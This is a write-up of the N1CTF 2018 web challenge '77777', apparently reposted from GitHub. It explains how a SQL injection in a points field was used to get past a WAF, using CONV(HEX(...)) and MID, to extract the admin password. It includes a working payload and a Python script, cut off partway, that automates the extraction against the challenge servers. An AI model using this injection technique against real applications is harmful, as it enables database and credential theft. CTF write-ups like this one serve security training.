N1CTF - 77777 Write-up  
\-------------------------  
Category: Web  
Points: 1000 (Dynamic scoring, goes down when more people solve it)

Description:  
```  
"77777" is my girlfriend's nickname，have fun xdd:)

hk node: http://47.75.14.48

cn node: http://47.97.168.223

(Two challenge servers are identical, use either of them.)  
```  
Upon visiting the site we're shown two very big hints, ``U can update my
points in Profile.`` and ``And the flag is `admin's password`:)``, upon
visiting the rest of the pages we can see the "profile" which just simply
displays the amount of Points they have, on the "Somecode" page we get a
screenshot of the code running in the background, and on the someinfo page we
get a screenshot which displays what software is running on the server.

Somecode Picture:  
![code](https://i.imgur.com/EMBZgXH.png)

After reading over the code it's obvious that the $points variable is
vulnerable to SQL Injection, however it is also running through a waf function
which we don't have the code for. After doing some research on different ways
I could exploit it, I discovered a technique [here]() about using
CONV(hex((query))) to extract data, after struggling on trying to get it
working for ages, I FINALLY got it working using this query
``*CONV(HEX((SELECT MID(password,1,3))),16,10)``. For anyone who isn't
familiar with the functions in the statement I'll break them down for you, MID
allows you to obtain a substring of the field (I couldn't use SUBSTRING
because it was blocked by the waf :( ), the format is ``MID(field, <starting
position>, <length>)``, after some more fiddling around I wrote a quick python
script to automate it for me and do the decoding.

```  
import requests  
import re  
from time import sleep  
s = requests.Session()  
regex = "\|\s[\d]+<br" # Regex to extract the current points  
flag = "1"  
i = 1  
password = ""

def dec2hex(dec):  
result =
s.get("https://www.binaryhexconverter.com/hesapla.php?fonksiyon=dec2hex&deger={}&pad=false&v=2".format(dec))  
return result.text

while True:  
hi = '*CONV(HEX((SELECT MID(password,{},1))),16,10)'.format(i)  
postData = {  
"flag":flag,  
"hi":hi  
}  
url = "http://47.75.14.48/"  
attack = s.post(url, data=postData, proxies=proxyDict)  
result = re.findall(regex, attack.text)  
if len(result) > 0:  
dechex = result[0].replace("| ","").replace("

Original writeup (https://github.com/notdls/ctf-write-
ups/blob/master/N1CTF_2018/Web/77777.md).